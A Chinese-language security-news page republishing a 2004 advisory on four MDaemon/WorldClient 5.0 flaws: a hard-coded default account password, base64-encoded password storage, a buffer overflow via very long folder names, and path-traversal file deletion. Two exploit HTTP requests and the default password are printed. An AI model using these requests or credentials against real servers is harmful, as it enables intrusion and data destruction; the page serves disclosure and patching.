网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全漏洞 > Microsoft > WorldClient 和 Mdaemon的多个漏洞 (MS,补丁)  

WorldClient 和 Mdaemon的多个漏洞 (MS,补丁)

2004-04-11  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

涉及程序:
WorldClient 和 Mdaemon
 
描述:
WorldClient 和 Mdaemon的多个漏洞
 
详细:
WorldClient 和 Mdaemon Pro 5.0允许用户通过任何标准的web浏览器访问他们的e-mail帐号,文件夹,地址薄和拼写检查器(spell checker)。
而且WorldClient出于对旅途中用户的考虑,不象一般的e-mail客户应用程序,它并不要求重新安装以去使用,在Internet终端上也不会留下任何信息的蛛丝马迹。WorldClient是将所有的信息存储在Mdaemon服务器上,而非第三方的服务器。为了信息的敏感性和机密性,针对每一个e-mail用户都有他们自己的帐号和密码。

但不幸的是它们存在多个安全漏洞:

1. 含有缺省密码的缺省帐号.
Mdaemon有一个被应用程序本身使用的叫做Mdaemon的缺省帐号。当尝试着去改变这个帐号的任何设置时,错误就会发生:将MDaemon建立在系统邮件帐号中。它对于系统的处理进程是很关键的,如果不需要就不要轻易地编辑它。当企图使用Mdaemon系统帐号,就好象它是一个规则的邮件帐号时将会导致无法预测的后果。
通过破译密码(就像第二个问题描述的那样),会很容易地发现帐号密码总是“MServer”。

然后攻击者将会使用这个缺省的帐号去进一步挖掘软件中其它漏洞,或简单地作为攻击者的毫无约束的匿名帐号。
网管u家u.bitsCN.com


2.脆弱的口令加密机制.
用户口令缺省存储在一个叫做userlist.dat的文件中(C:\MDaemon\App\userlist.dat)。并且脆弱的口令加密机制(base64 encoded)使得口令文件很容易被解译。

3.WorldClient中的缓冲溢出漏洞
WorldClient中存在一个缓冲溢出漏洞,攻击者可利用此漏洞作为系统运行任意代码。如使用缺省帐号用web接口(worldclient)建立一个长文件名的文件夹(此文件夹名应在1000个字符以上)时,缓冲溢出将会发生,EIP 在0x0123FFA8被重写。需要去注意的是当发送exploit string 时,利用此漏洞的客户端必须被验证,

4. 同一驱动盘符下文件的删除.
当建立一个新的带有附件的电子邮件时,附件被存储在用户的文件夹中。当当新建一个文件时WorldClient会检验文件名十分可能含有像"../"一样的危险字符。但是当删除附件时,就不会检验。这将意味着作为Mdaemon用户的同一个驱动盘符下的任何文件都有可能被删除,将有可能导致拒绝服务攻击。

Exploit Examples.

以下仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负

缓冲溢出攻击实例:

POST /WorldClient.cgi?Session=xxxx&View=Options-Folders&Reload=Yes HTTP/1.1

网管网www.bitscn.com


Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3000
Content-Length: 1636
Connection: Keep-Alive
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxxx

OldFolderParent=&OldFolder=&FolderParent=&Folder=&NewFolder=AAAAAAAAAAAA
AAA[BUFFER_HERE_1000+chars]&NewFolderParent=&Create=Create&Folder%3AInbo
x=Inbox&Folder%3ADrafts=Drafts&Folder%3ASent=Sent&Folder%3ATrash=Trash&F
older%3As=s



文件删除实例:

POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders
Content-Type: multipart/form-data; boundary=---------------------------7d2851b9074c
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)

网管u家u.bitscn@com


Host: victim:3001
Content-Length: 407
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachment"; filename=""
Content-Type: application/octet-stream

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachments"

..\..\test.txt
-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Remove"

Remove
-----------------------------7d2851b9074c--


受影响版本: MDaemon/WorldClient 5.0.5.0 和先前的版本
 
 
解决方案:
升级版本(解决了漏洞#1,#3 and #4):
ftp://ftp.altn.com/MDaemon/Release/md506_en.exe - English
ftp://ftp.altn.com/MDaemon/Release/md506_ge.exe - German


作为问题#2的临时解决方案,CNNS建议用户更改密码文件存储位置。
 

TAGs   补丁   漏洞   多个   帐号   Mdaemon   WorldClient      
 上一篇:Lysias Lidik Webserver 目录遍历漏洞 (MS,缺陷)   下一篇:WorkforceROI XPede任意时间表泄露漏洞 (MS,缺陷)
WorldClient 和 Mdaemon的多个漏洞 (MS,补丁) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: